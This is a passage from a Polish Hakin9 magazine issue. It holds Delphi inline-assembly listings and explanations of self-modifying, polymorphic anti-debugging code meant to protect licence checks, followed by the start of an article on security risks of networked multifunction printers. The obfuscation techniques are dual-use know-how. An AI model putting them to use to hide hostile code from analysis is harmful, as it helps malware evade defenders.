{ kod odpowiadający operacji: delta +
i; }
ADD
EAX
,
i
NOP
@
xor_opcode
:
{ kod odpowiadający operacji: (delta + i)
xor Ord(Char2); }
XOR
EAX
,
EDX
l4
:
JMP
SMALL
l2
{ Nieużywany kod – „zmyłka” }
DB
01
h
{ Początkowy „śmieciowy kod” }
l5
:
MOV
AL
,
Char1
{ Pobranie do AL znaku z łańcucha
wejściowego – „zmyłka” :-) }
{ Pobranie do AL bajtu z pamięci pod adresem [EDX + 4] (w
EDX jest adres etykiety l3
zapamiętany na samym początku iteracji sekwencją: MOV
EAX, OFFSET l3; POP EDX)
[EDX + 4] wskazuje na bajt DB 0Bh będący częścią kodu
instrukcji krótkiego skoku
względnego SHORT JMP rel_addr }
MOV
AL
,
BYTE
PTR
[
EDX
+
4
]
OR
AL
, 0
E0h
{ Wykonanie operacji OR z maską
0E0h – w wyniku otrzymujemy 0EBh }
MOV
BYTE
PTR
l1
,
AL
{ Zapis kodu rozkazu JMP
SHORT pod adresem l1 }
MOV
EAX
,
OFFSET
l8
{ Zapis do EAX adresu
etykiety l8 }
SUB
EAX
,
OFFSET
l1
{ Odjęcie od adresu l8 adresu
l1 }
SUB
EAX
,
2
{ Zmniejszenie wyniku o 2, czyli o
rozmiar rozkazu JMP z argumentem }
MOV
BYTE
PTR
l1
+
1
,
AL
{ Zapis obliczonego
argumentu rozkazu JMP }
JMP
SMALL
l1
{ Skok do l1 gdzie jest już
„zbudowany” rozkaz skoku do l8 }
l6
:
JMP
SMALL
l8
{ Nieużywany kod – kolejna „zmyłka”
}
l7
:
NOP
JMP
l0
DW
1427
h
{ Początkowy „śmieciowy kod” }
l8
:
MOV
AX
,
WORD
PTR
@
sub_opcode
{ Pobranie kodu
rozkazu SUB EAX, EDX }
MOV
WORD
PTR
@
sub
,
AX
{ Nadpisanie śmieci pod
adresem @sub kodem rozkazu }
MOVZX
EAX
,
Char1
MOVZX
EDX
,
Char2
@
sub
:
DW
0000
h
{ Początkowy „śmieciowy kod” – tu znajdzie
się później SUB EAX, EDX }
MOV
delta
,
EAX
MOV
EAX
,
DWORD
PTR
@
add_opcode
{ Pobranie kodu
rozkazu ADD EAX, EDX }
ATAK
26
HAKIN9 6/2008
KOD W DELPHI – ZMORA CRACKERA
27
HAKIN9
6/2008
Listing 2b.
Funkcja szyfrująca z wstawkami asemblerowymi SMC
MOV
DWORD
PTR
@
add
,
EAX
{ Nadpisanie śmieci pod
adresem @add }
MOV
EAX
,
delta
@
add
:
DD
01010000
h
{ Początkowy „śmieciowy kod” – tu
znajdzie się później ADD EAX, i }
MOV
DX
,
WORD
PTR
@
xor_opcode
{ Pobranie kodu
rozkazu XOR EAX, EDX }
MOV
WORD
PTR
@
xor
,
DX
{ Nadpisanie śmieci pod
adresem @xor }
MOVZX
EDX
,
Char2
@
xor
:
DW
4523
h
{ Początkowy „śmieciowy kod” – tu znajdzie
się później XOR EAX, EDX }
MOV
EncVal
,
EAX
MOV
WORD
PTR
@
sub
,
AX
{ Zamazanie kodu w @sub
losową wartością z AX }
MOV
DWORD
PTR
@
add
,
EAX
{ Zamazanie kodu w @add
losową wartością z EAX }
MOV
WORD
PTR
@
xor
,
DX
{ Zamazanie kodu w @xor
losową wartością z DX }
JMP
SMALL
l9
{ Ominięcie śmieci poprzez skok do
l9 }
DD
3422
A0F3h
{ Początkowy „śmieciowy kod” }
l9
:
MOV
WORD
PTR
l1
,
CX
{ Zamazanie kodu skoku w l1
losową wartością z CX }
end
;
{ Zamiana obliczonej wartości wyjściowej na zapis
szesnastkowy (jako liczby 32-bitowej) }
HexStr
[
1
]
:=
SMC_Byte2HexStr15
(
EncVal
and
$
000000F
);
HexStr
[
2
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$000000
F0
)
shr
4
);
HexStr
[
3
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$00000
F00
)
shr
8
);
HexStr
[
4
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$0000
F000
)
shr
12
);
HexStr
[
5
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$000
F0000
)
shr
16
);
HexStr
[
6
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$00
F00000
)
shr
20
);
HexStr
[
7
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$0
F000000
)
shr
24
);
HexStr
[
8
]
:=
SMC_Byte2HexStr15
((
EncVal
and
$
F0000000
)
shr
28
);
outStr := outStr + HexStr;
end
;
{ Przywrócenie oryginalnych praw dostępu do strony
zawierającej modyfikowany kod }
VirtualProtect
(
StartAddr
,
CodeSize
,
OldProtect
,
@
OldProtect
);
SMC_EncryptStr
:=
outStr
;
end
;
Charakterystyka SMC
Cel stosowania:
Utrudnienie deasemblacji i analizy kodu programu w celu ochrony algorytmów zabezpieczających program przed nieuprawnionym użytkowaniem.
Zasada działania:
Dynamiczna modyfikacja kodu programu w czasie jego działania, szyfrowanie wybranych sekcji kodu, wprowadzanie do kodu programu fałszywych
instrukcji lub nawet kodu nie reprezentującego żadnej rozpoznawanej przez procesor instrukcji, przemieszczanie sekcji zaszyfrowanego kodu do różnych
miejsc w pamięci, gdzie – po odszyfrowaniu – następuje jego wykonanie, np. na stosie.
Stosowane metody:
•
prosty polimorfizm,
•
zaawansowany polimorfizm,
•
metamorfizm.
Prosty polimorfizm:
Umożliwia ciągłą zmienność kodu przy każdym uruchomieniu programu oraz zabezpiecza go poprzez zastosowanie szyfrowania. Na początku
właściwego kodu część deszyfrująca, na podstawie losowego klucza zapisanego w zaszyfrowanym kodzie, rozkodowuje zawarte za nią instrukcje. Prosta
metoda, łatwa do wykrycia i obejścia.
Zaawansowany polimorfizm:
Jest to rozwinięcie podstawowej metody polimorficznej, wzbogacone o:
•
wymienianie grup instrukcji między sobą,
•
generowanie różnych instrukcji wykonujących tę samą operację,
•
stosowanie wywołań niepotrzebnych podprogramów,
•
stosowanie dużej ilości skoków warunkowych,
•
wtrącanie między instrukcje programu niepotrzebnego, losowego kodu („śmieciowy kod” – ang. junk code).
Kombinacja wymienionych powyżej technik znacznie utrudnia śledzenie aplikacji, a dokładnie – funkcji deszyfrującej właściwy kod.
Metamorfizm:
Największą wadą kodu polimorficznego jest to, że po jego odkodowaniu jest on dostępny w pamięci w postaci pozwalającej na łatwe prześledzenie.
Metamorfizm polega na całkowitej przebudowie oryginalnego kodu, który w przypadku metod polimorficznych jest tylko szyfrowany. Jest to efektywna
metoda zabezpieczająca, ale jednocześnie trudna w stosowaniu. Istnieją specjalne narzędzia do automatycznego wykonywania odpowiednich
przekształceń kodu (np: www.defendion.com).
ATAK
28
HAKIN9 6/2008
KOD W DELPHI – ZMORA CRACKERA
29
HAKIN9
6/2008
wartość licznika pętli, i kodzie znaku z
łańcucha losowego klucza
(EncVal :
= (delta + i) xor Ord(Char2);)
.
Wartość delta jest różnicą między
znakiem wejściowym a odpowiadającym
mu znakiem z klucza
(delta :
= Ord(Char1) – Ord(Char2);)
.
Algorytm można oczywiście uzależnić
od dodatkowych zmiennych i pośrednich
obliczeń, komplikując w ten sposób
proces uzyskania wartości wyjściowej.
Można też wprowadzić modyfikacje
Listing 3.
Funkcja deszyfrująca z wstawkami asemblerowymi SMC
{ Funkcja deszyfrująca – wersja z zastosowaniem SMC
InputStr – łańcuch wejściowy przeznaczony do odkodowania
HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }
function
SMC_DecryptStr
(
InputStr
,
HashStr
:
AnsiString
):
AnsiString
;
var
i
,
delta
,
EncVal
:
Integer
;
OldProtect
:
Integer
;
Char1
,
Char2
:
Char
;
StartAddr
:
Pointer
;
CodeSize
:
Integer
;
outStr
:
AnsiString
;
label
l0
,
l1
,
l2
,
l3
,
l4
,
l5
,
l6
,
l7
,
l8
,
l9
;
begin
outStr
:=
''
;
asm
MOV
EAX
,
OFFSET
l1
MOV
StartAddr
,
EAX
MOV
EAX
,
OFFSET
l9
SUB
EAX
,
OFFSET
l1
MOV
CodeSize
,
EAX
end
;
VirtualProtect
(
StartAddr
,
CodeSize
,
PAGE_EXECUTE_READWRITE
,
@
OldProtect
);
for
i
:=
1
to
Length
(
InputStr
)
div
8
do
begin
Char2
:=
HashStr
[
i
];
encVal
:=
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
1
]);
encVal
:=
encVal
or
(
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
2
])
shl
4
);
encVal
:=
encVal
or
(
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
3
])
shl
8
);
encVal
:=
encVal
or
(
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
4
])
shl
12
);
encVal
:=
encVal
or
(
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
5
])
shl
16
);
encVal
:=
encVal
or
(
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
6
])
shl
20
);
encVal
:=
encVal
or
(
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
7
])
shl
24
);
encVal
:=
encVal
or
(
SMC_HexStr2Integer15
(
InputStr
[
8
*
(
i
-
1
)
+
8
])
shl
28
);
asm
MOV
EAX
,
OFFSET
l3
PUSH
EAX
MOV
BYTE
PTR
[
EAX
]
,
AH
MOV
AL
,
Char2
MOV
BYTE
PTR
l4
+
2
,
AL
POP
EDX
MOV
WORD
PTR
l1
,
CX
JMP
l7
l0
:
MOV
DWORD
PTR
l9
-
4
,
EBX
JMP
l5
l1
:
DW
0
F00Fh
l2
:
JMP
SMALL
l2
l3
:
DD
0
FF0A0032h
DB
0
Bh
@
add_opcode
:
ADD
EAX
,
EDX
@
sub_opcode
:
SUB
EAX
,
i
NOP
@
xor_opcode
:
XOR
EAX
,
EDX
l4
:
JMP
SMALL
l2
DB
01
h
l5
:
MOV
AL
,
Char1
MOV
AL
,
BYTE
PTR
[
EDX
+
4
]
OR
AL
, 0
E0h
MOV
BYTE
PTR
l1
,
AL
MOV
EAX
,
OFFSET
l8
SUB
EAX
,
OFFSET
l1
SUB
EAX
,
2
MOV
BYTE
PTR
l1
+
1
,
AL
JMP
SMALL
l1
l6
:
JMP
SMALL
l8
l7
:
NOP
JMP
l0
DW
1427
h
l8
:
MOV
DX
,
WORD
PTR
@
xor_opcode
MOV
WORD
PTR
@
xor
,
DX
MOV
EAX
,
EncVal
MOVZX
EDX
,
Char2
@
xor
:
DW
4523
h
MOV
delta
,
EAX
MOV
EAX
,
DWORD
PTR
@
sub_opcode
MOV
DWORD
PTR
@
sub
,
EAX
MOV
EAX
,
delta
@
sub
:
DD
01010000
h
MOV
delta
,
EAX
MOVZX
EDX
,
Char2
MOV
AX
,
WORD
PTR
@
add_opcode
MOV
WORD
PTR
@
add
,
AX
MOV
EAX
,
delta
@
add
:
DW
0000
h
MOV
Char1
,
AL
MOV
DWORD
PTR
@
sub
,
EAX
MOV
WORD
PTR
@
add
,
AX
MOV
WORD
PTR
@
xor
,
DX
JMP
SMALL
l9
DD
3422
A0F3h
l9
:
MOV
WORD
PTR
l1
,
CX
end
;
outStr
:=
outStr
+
Char1
;
end
;
VirtualProtect
(
StartAddr
,
CodeSize
,
OldProtect
, @
OldProtect
);
SMC_DecryptStr
:=
outStr
;
end
;
ATAK
28
HAKIN9 6/2008
KOD W DELPHI – ZMORA CRACKERA
29
HAKIN9
6/2008
do kodu generującego szesnastkową
reprezentację wyjściowych wartości w
postaci tekstowej.
Okno programu testowego z
widocznymi rezultatami szyfrowania i
deszyfrowania jest przedstawione na
Rysunku 1.
Funkcję szyfrującą SMC zawiera Listing
2a,b., natomiast funkcja deszyfrująca
SMC
jest pokazana na Listingu 3. Listing 2a,b.
jest bogato komentowany, aby umożliwić
Czytelnikowi prześledzenie krok po kroku
operacji wykonywanych przez program.
Kod z Listingu 3. jest analogiczny – realizuje
w odwrotnej kolejności operacje z Listingu
2a,b. Na Listingu 3. nie zamieszczałem
już komentarzy, aby nie wydłużać kodu
i ukazać go w czystej postaci. Dla
niewtajemniczonych w wykorzystywaniu
asemblera w kodzie Pascala zamieściłem
w ramce małą ściągę wyjaśniającą
znaczenie wykorzystywanych w programie
dyrektyw i mnemonik instrukcji asemblera.
Jest to oczywiście bardzo skrótowe
wyjaśnienie i nie zastąpi porządnego
podręcznika asemblera i architektury
mikroprocesorów rodziny
x86
stosowanych
w komputerach PC.
Zawartość wstawek asemblerowych w
obydwóch funkcjach może wydawać się
zagmatwana, ale właśnie o to nam przecież
chodzi. Jednak niejasny wygląd kodu
źródłowego to nie koniec niespodzianek
dla osoby chcącej prześledzić ten kod
po kompilacji i uruchomieniu. Przy każdej
iteracji pętli for niektóre elementy kodu
będą ulegać losowej zmianie, powodując
pojawianie się bezsensownych, wręcz
absurdalnych ciągów instrukcji w programie
śledzącym. Nawet po podświetleniu
jednej z takich podmienionych instrukcji, w
rzeczywistości kod zawarty w jej miejscu w
danym momencie w pamięci będzie inny
i wykona właściwe obliczenia. Pozostanie
tylko śledzenie zawartości rejestrów i
domysły, jakie operacje arytmetyczne lub
logiczne mogły doprowadzić do określonych
wyników. Na pewno jest to dużo trudniejsze
od prześledzenia zwykłego, statycznego
kodu z niezmiennymi instrukcjami i
prezentacją mnemonik odpowiadających
rzeczywiście wykonywanym rozkazom.
Zanim wyjaśnię zasadę działania
obydwóch funkcji, przyjrzyjmy się najpierw
Dyrektywy i rozkazy BASM Delphi (Built-In Assembler) wykorzystywane w
przykładowym programie
Wykorzystywane dyrektywy wbudowanego asemblera Delphi:
•
OFFSET x – zwraca adres identyfikatora x (zmiennej, etykiety, podprogramu),
•
DB n – wstawia w kod programu bajt o wartości n (Define Byte),
•
DW n – wstawia w kod programu słowo o wartości n (Define Word),
•
DD n – wstawia w kod programu podwójne słowo o wartości n (Define Double word).
Stosowane oznaczenia:
•
imm – wartość bezpośrednia 8-, 16- lub 32-bitowa (literał),
•
mem – adres pamięci (identyfikator zmiennej, etykiety, podprogramu),
•
rel8 – 8-bitowa wartość adresu względnego (jako liczba ze znakiem: -128 – 127),
•
Rn – rejestr CPU o numerze n.
Rejestry CPU w architekturze x86:
•
EAX – akumulator (32 bity), główny rejestr CPU wykorzystywany w obliczeniach,
•
AX – akumulator (16 mniej znaczących bitów EAX),
•
AL – akumulator (8 mniej znaczących bitów AX),
•
AH – akumulator (8 bardziej znaczących bitów AX).
Pozostałe wykorzystywane rejestry (EBX, ECX, EDX) podlegają takiemu samemu podziałowi, jak rejestr EAX – z zachowaniem analogicznych
konwencji nazewniczych.
Tu ważna uwaga: można dowolnie modyfikować EAX, ECX, EDX, natomiast pozostałe rejestry powinny być zapamiętane na stosie przed ich
ewentualną modyfikacją (dotyczy to między innymi: EDI, ESI, ESP, EBP, EBX), a na końcu funkcji ich zawartości powinny być przywrócone. Jest to
wymóg kompilatora języka wysokiego poziomu (w tym przypadku Delphi). W przypadku pisania programu w całości w asemblerze takie ograniczenia nie
obowiązują.
Wykorzystywane rozkazy wbudowanego asemblera Delphi:
•
MOV R1, R2 – skopiowanie zawartości rejestru R2 do R1,
•
MOV R, imm – wpisanie do rejestru R bezpośredniej wartości imm ,
•
MOV mem, R – wpisanie do komórki pamięci mem wartości z rejestru R ,
•
MOV R, mem – wpisanie do rejestru R wartości z komórki pamięci mem,
•
PUSH R – odłożenie na stos zawartości rejestru R ,
•
POP R – zdjęcie ze stosu liczby i zapisanie jej w rejestrze R ,
•
ADD R1, R2 – wykonanie operacji: R1 = R1 + R2,
•
SUB R1, R2 – wykonanie operacji: R1 = R1 – R2,
•
SUB R, imm – wykonanie operacji: R = R – imm ,
•
XOR R1, R2 – wykonanie operacji: R1 = R1 xor R2,
•
JMP SHORT rel8 – krótki bezwarunkowy skok względny (rel8 bajtów względem JMP).
Uwaga:
Zapisy BYTE PTR [R], WORD PTR[R], DWORD PTR [R] oznaczają komórkę pamięci wskazywaną przez zawartość rejestru R (odpowiednio: bajt,
słowo, podwójne słowo).
Czyli zapis R oznacza odwołanie się do zawartości rejestru R , a zapis [R] oznacza odwołanie się do zawartości pamięci pod adresem zapisanym w
rejestrze R.
ATAK
30
HAKIN9 6/2008
KOD W DELPHI – ZMORA CRACKERA
31
HAKIN9
6/2008
efektom działania
SMC
, pokazanym na
kolejnych Rysunkach (2-7).
Rysunek 2. przedstawia okno kodu
Pascala podczas sesji debuggera ze
wskaźnikiem w linii 144.
Odpowiadający tej sytuacji kod
asemblera jest pokazany na Rysunku 3.
(zakładka
CPU debuggera
). Aby podejrzeć
skompilowany program Delphi w postaci
niskopoziomowej należy ustawić pułpakę
(breakpoint) we wnętrzu naszej funkcji
szyfrującej
SMC _ EncryptStr
(trzeba
kliknąć niebieski punkt przy odpowiedniej
linii, znajdujący się z lewej strony okna
kodu źródłowego). Po uruchomieniu
programu i wywołaniu funkcji program
zostanie zatrzymany w wybranej linii. Od
tej chwili będą dostępne dodatkowe okna
debuggera (
CPU i FPU
). Nas interesuje
okno CPU, które zawiera kod programu w
asemblerze z odpowiadającym mu kodem
w Pascalu. Okno zawiera też informacje o
wszystkich rejestrach CPU, stosie wywołań
(call stack), zmiennych lokalnych (local
variables) oraz obraz pamięci danych. Okno
wywołujemy kombinacją klawiszy [Ctrl+Alt+C]
lub otwierając odpowiednią opcję menu
View->Debug Windows->CPU. Przy pomocy
klawiszy [F7] i [F8] wykonujemy krok po kroku
pojedyńcze instrukcje linia po linii, tak jak w
oknie Pascala podczas śledzenia programu
na wysokim poziomie. Po wykonaniu każdego
rozkazu mozemy obserwować zmiany
jakie wprowadził on do rejestrów i pamięci
danych. Zmienia się też zdeasemblowany
kod w wyniku samomodyfikacji --
debugger pokazuje kod nieodpowiadający
wykonywanemu w rzeczywistości.
W linii 156 (etykieta l1) mamy po
prostu deklarację podwójnego słowa o
wartości
0F00Fh
. Jak widać w oknie
CPU
,
ten ciąg bajtów nie koduje żadnej instrukcji
procesora i został zinterpretowany przez
deasembler jako ciąg:
DB $0F $F0
. Tu
mała uwaga: jesteśmy w uprzywilejowanej
sytuacji, bo program został skompilowany
z informacjami dla debuggera – dlatego
wiemy, jaka linia kodu źródłowego
odpowiada konkretnej linii wygenerowanego
kodu. Aplikacja przeznaczona do
rozpowszechniania jest kompilowana
bez tych dodatkowych informacji, więc
potencjalny cracker nie jest w takiej
komfortowej sytuacji jak my teraz.
Na Rysunku 4. widać wykonujący się,
rzekomo bezsensowny kod. Jednak ciąg
Rysunek 3.
Widok źródła asemblera skompilowanego programu podczas śledzenia aplikacji
Rysunek 4.
Bezsensowny kod w oknie CPU
ATAK
30
HAKIN9 6/2008
KOD W DELPHI – ZMORA CRACKERA
31
HAKIN9
6/2008
db $0f $f0
nie powoduje wywołania
wyjątku z informacją o napotkaniu
nieprawidłowego kodu instrukcji,
lecz wykonuje działania, jakie zostały
zaplanowane. W miejsce to został
wcześniej podstawiony przez naszą
funkcję właściwy kod (tu jest to rozkaz
krótkiego skoku względnego –
JMP
SHORT
, o kodzie
0EBh
). Podstawienie nie
zostało wykonane bezpośrednio, ale po
kawałku w różnych miejscach programu.
Instrukcja została jakby obliczona i wynik
odpowiednich operacji arytmetycznych,
rozrzuconych w kodzie pętli, utworzył w
wyniku kod instrukcji skoku. Oczywiście
wszystkie operacje można jeszcze
bardziej zagmatwać. Tu chciałem pokazać
zasadę tworzenia takiego kodu, starając
się nie komplikować niepotrzebnie listingu,
który i tak już jest dość złożony.
Na Rysunku 5. widać trzy dziwne
instrukcje (linia 187). W tym miejscu
w źródle programu jest deklaracja
DW 1227h
, co widać w oknie
CPU
.
Jednak taka wartość znajdowała się
tam podczas startu programu i już się
zmieniła, ale debugger nie mógł tego
oczywiście zarejestrować. Po wykonaniu
tego kodu zostanie on zamazany losową
zawartością i ponownie wygenerowany
w następnej iteracji. Oprócz opisanych
powyżej efektów, program został
napisany tak, aby wykonywał się
nieregularnie – to znaczy co chwila
wykonywane są skoki w przód i w tył
z modyfikacjami kodu. To dodatkowe
utrudnienie podczas śledzenia programu
w debuggerze.
Rysunek 6. przedstawia kolejny
przykład fałszywego kodu programu.
Natomiast na Rysunku 7. widzimy
ponownie początek pętli funkcji szyfrującej
z widoczną pułapką (ang. breakpoint),
która została przedstawiona na Rysunku 1.
i 2. Proszę porównać linię 156 na Rysunku
1 z tą samą linią na Rysunku 7. Zamiast
DB $0F $F0
pojawiły się nowe instrukcje:
PUSH EAX i HLT
. Podobne różnice widać
w niższych liniach (160, 161, 171). Warto
zwrócić uwagę na to, co stało się w linii
161. Jeden podstawiony bajt zmienił
całkowicie znaczenie kolejnych 6 bajtów.
Zamiast sekwencji:
„SUB EAX,EDX;
ADD EAX, mem32; NOP”
mamy:
„OR
EBP,[ECX]; ROL [EBX],1; INC EBP;
LOCK NOP”
.
Rysunek 5.
Kolejny przykład bezsensownego kodu
Rysunek 6.
Jeszcze jedna niespodzianka
ATAK
32
HAKIN9 6/2008
Szczegóły implementacji
Na początku każdej z funkcji obliczany
jest rozmiar kodu zawartego we wstawce
asemblerowej w pętli for. Ta informacja
jest potrzebna do wywołania systemowej
funkcji
Windows AP
I:
BOOL WINAPI VirtualProtect( _ _
in LPVOID lpAddress, _ _ in SIZE _ T
dwSize, _ _ in DWORD flNewProtect,
_ _ out PDWORD lpflOldProtect)
;
Służy ona do zmieniania praw dostępu
do wybranego obszaru pamięci. Aby
możliwe było modyfikowanie programu
przez niego samego, należy ustawić
zezwolenie na zapis w segmencie kodu,
w którym zawarta jest nasza wstawka
asemblerowa. Funkcja pobiera adres
początkowy, rozmiar (w bajtach) bloku
pamięci, którego mają dotyczyć zmiany,
nowe atrybuty dostępu. Zwraca w
ostatnim argumencie bieżące ustawienia,
aby można było je później przywrócić
– co jest wykonywane na końcu funkcji
szyfrującej. Bez wywołania tej funkcji
otrzymalibyśmy wyjątek z informacją o
braku możliwości zapisu w wybranym
obszarze pamięci (tu – w kodzie naszej
funkcji). Po tej operacji rozpoczyna się
pętla, w której kolejno pobierane są znaki z
łańcuchów wejściowych. Na początku pętli
modyfikowane są wybrane bajty w obrębie
etykiet l1 i l4. Następnie wykonywany jest
skok do etykiety l7, skąd wykonywany jest
skok do l0 – gdzie odbywa się modyfikacja
czterech bajtów zawartych przed etykietą
l9. Po tej operacji wykonywanie programu
przenosi się do etykiety l5, gdzie obliczany
jest kod rozkazu
JMP SHORT
przy etykiecie
l1 oraz argument dla niego – względne
położenie etykiety l8. Wygenerowanie kodu
rozkazu
JMP
SHORT
odbywa się w dwóch
krokach. Na początku pętli do rejestru
EDX
jest wpisywany adres etykiety l3 poprzez
umieszczenie na stosie zawartości
EAX
i zdjęcie tej wartości do
EDX
. W pobliżu
etykiety l3 znajduje się wartość
DB
0Bh
.
Ta wartość jest wprowadzana do
AL
w
momencie przejścia do l5. Jak pamiętamy,
adres tej wartości jest odłożony w
EDX
.
Po wykonaniu operacji
OR
na zawartości
rejestru
AL
z argumentem
0E0h w AL
otrzymujemy kod
JMP SHORT – 0EBh
. Kod
ten jest wstawiany pod adresem etykiety
l1 oraz uzupełniany o obliczony argument.
Wykonywany jest skok do l1, a z l1 do l8,
gdzie wykonywane są właściwe operacje
na łańcuchach wraz z generowaniem, z
wyprzedzeniem, odpowiednich instrukcji.
Podobnie przedstawia się sprawa
funkcjonowania funkcji dekodującej.
Proponowane rozwiązanie nie
pretenduje absolutnie do uznania za
cudowną metodę rozwiązującą wszystkie
problemy, jednak sądzę, że spełnia swoją
funkcję znacznego uprzykrzenia procesu
rozpracowywania kodu odpowiedzialnego
za zabezpieczenia przed nieuprawnionym
korzystaniem z aplikacji.
Podsumowanie
Przedstawione metody pozwalają
znacznie utrudnić analizę i deasemblację
skompilowanego programu. Jak było
wcześniej wspomniane, nic nie stoi
na przeszkodzie aby jeszcze bardziej
skomplikować funkcję kodującą.
Można dodać bardziej złożone metody
generowania kodu w czasie wykonania,
tak jak to zostało pokazane na przykładzie
rozkazu krótkiego skoku i rozkazów
obliczających kod znaku w łańcuchu
wyjściowym. Podstawą jest oczywiście
sam algorytm szyfrujący. Im bardziej
będzie zagmatwany i uzależniony od
większej liczby powiązanych ze sobą
zmiennych tym lepiej. Jednak cały wysiłek
może być daremny, jeśli ktoś pójdzie
na skróty i bezpośrednio dobierze
się do naszego kodu w celu odkrycia
samego algorytmu, zamiast próbować
dochodzić do zależności między
kluczem, a wyjściowym łańcuchem.
Przerobienie funkcji na wersję SMC
chroni sam kod przed odkryciem naszej
metody szyfrowania/deszyfrowania.
Bez tej ochrony rozgryzienie kodu i
napisanie generatora kluczy nie będzie
dla crackera dużym problemem. Nie
jesteśmy oczywiście stuprocentowo
zabezpieczeni jednak mamy pewność,
że prawdopodobieństwo rozpracowania
naszej funkcji znacznie zmaleje.
Rysunek 7.
Druga iteracja – pojawił się nowy kod
Artur Kozubski
Autor jest programistą aplikacji internetowych i baz
danych w sklepie internetowym Gigant.pl. Współpracuje
jako mechatronik-programista systemów sterowania
maszynami CNC z firmą Ximplant Medical Systems,
rozwijającą się w Warszawskim Inkubatorze Technologii
TechnoPort. Z wykształcenia mechatronik. Obecnie
student informatyki w Polsko-Japońskiej Wyższej Szkole
Technik Komputerowych.
Kontakt z autorem: artkocoder@gmail.com
34
HAKIN9
ATAK
6/2008
C
ała gama produktów określana mianem
drukarek wielofunkcyjnych (ang. MFP
– Multi Function Printer) dostępna na
rynku pozwala na dopasowanie modelu do
swoich potrzeb i korzystanie z niego w sieci,
ponieważ większość urządzeń zaopatrzona jest
we wbudowany serwer wydruku (ang. printserver).
Wygoda korzystania z tego rodzaju urządzeń
jest bardzo duża – sprzęt, oprócz samej funkcji
drukowania, która stanowi funkcjonalność bazową,
potrafi nierzadko kopiować, skanować oraz
wysyłać faksy.
Czy istnieje ryzyko ataku skierowanego
bezpośrednio w urządzenia MFP? Czy można
takie urządzenia wykorzystać do ataku na inny
system? Czy urządzenie MFP może być celem
ataku spamera? Odpowiedzi na te i, być może,
inne pytania postaram się zawrzeć w tym artykule.
Usługi pracujące w MFP
Zadziwiające jest, jak wiele usług działa w tak
prostych z pozoru urządzeniach, jak drukarki MFP.
Ilość i rodzaj usług jest oczywiście zależna od
producenta sprzętu, ale także od zadań do jakich
jest przeznaczony.
Z ważniejszych usług pracujących w tych
urządzeniach należy wymienić: FTP (File Transfer
Protocol), HTTP (HyperText Transfer Protocol),
HTTPS (HyperText Transfer Protocol Secure),
SNMP (Simple Network Management Protocol),
Telnet – jako usługi pozwalające na konfigurację,
zarządzanie oraz kontrolę pracy sprzętu.
GRZEGORZ BŁOŃSKI
Z ARTYKUŁU
DOWIESZ SIĘ
co to jest urządzenie MFP,
jak minimalizować ryzyko
wycieku danych z MFP,
jak ochronić drukarki przed
atakiem XSP.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy Linuksa,
umieć kompilować programy,
znać skaner portów NMAP.
Usługi LPD (Line Printer Daemon), IPP (Internet
Printer Protocol) oraz JetDirect umożliwiają zaś
drukowanie oraz zarządzanie wydrukami. Usługi
takie, jak HTTP, FTP czy Telnet pracują w tego typu
urządzeniach na standardowych portach.
Portem skojarzonym z usługą JetDirect
– obecnie najbardziej popularną i najczęściej
wykorzystywaną w drukarkach sieciowych – jest
port tcp 9100.
To na tym właśnie porcie komunikują się z
drukarką komputery wysyłające wydruki drogą
sieciową. Port tcp 9100 w urządzeniach MFP traktuje
wszystkie odebrane dane jako zadanie do wydruku.
Co więc się stanie, jeśli wykorzystując usługę Telnet
połączymy się z drukarką na porcie 9100?
Jak można zauważyć na Rysunku 1, wykonałem
połączenie oraz wpisałem kilka słów. Po zakończeniu
połączenia tekst, który wpisałem, został przez
drukarkę wydrukowany – co pokazuje Rysunek 2.
Takie zachowanie drukarki – drukowanie
wszystkiego, co jest wysyłane na jej port 9100
– wydaje się być naturalne, lecz czy na pewno jest
to rozwiązanie nie zwiększające ryzyka ataku, na
przykład SPAMu?
Kompromitacja drukarki czy żart?
Kolejna kwestia, która może rozbawić, ale
może także spowodować nieoczekiwane skutki
– to podatność niektórych urządzeń MFP na
zmiany w ich oprogramowaniu wewnętrznym
bez specjalnej autoryzacji, zdalnie. Sprzęt
wyposażony w wyświetlacze LCD, pokazujące
Stopień trudności
Zagrożenia
drukarek
Dzisiejsze wielofunkcyjne drukarki sieciowe to prawdziwe
kombajny. Potrafią robić naprawdę wiele rzeczy. Czy – używając
drukarki wielofunkcyjnej w swojej sieci – jesteś pewny, że nie
zwiększasz ryzyka wycieku danych lub potencjalnego ataku na
Twoją sieć?
35
HAKIN9
ZAGROŻENIA DRUKAREK
6/2008
stan urządzenia w danym momencie,
komunikaty oraz informacje o błędach,
może zostać skompromitowany w bardzo
prosty sposób.
Po wydaniu poleceń przedstawionych
poniżej, na ekranie LCD drukarki zamiast
komunikatu READY pojawi się INSERT
COIN (wrzuć monetę). (Listing 2.)
Taki komunikat może zostać
potraktowany jako żart, ale czy zdarzenie
takie nie powinno zostać potraktowane jako
przypadek nieautoryzowanego dostępu
do sprzętu, co może rodzić dość poważne
zagrożenia bezpieczeństwa? Przecież
można napis pojawiający się na drukarce,
informujący o wyczerpaniu tonera, zmienić
na READY – wówczas użytkownicy chcący
dokonać wydruku będą widzieli, że drukarka
jest gotowa do pracy, jednak ich wydruki
nie będą przez nią akceptowane. Taka
sytuacja na pewno może spowodować
zamieszanie i utrudnienia w pracy, co może
również być zamierzonym działaniem
potencjalnego atakującego.
Ktoś powie ale przecież urządzenia
takie mają możliwość definiowania haseł
dostępu. Ma rację, ale co z tego – skoro
większość sprzętu zostaje podłączona,
skonfigurowana do wygodnej pracy i już nikt
się nim nie interesuje, chyba że zabraknie
papieru w zasobniku, tonera czy tuszu. Hasło
nie zostaje zdefiniowane, bo przecież uleci z
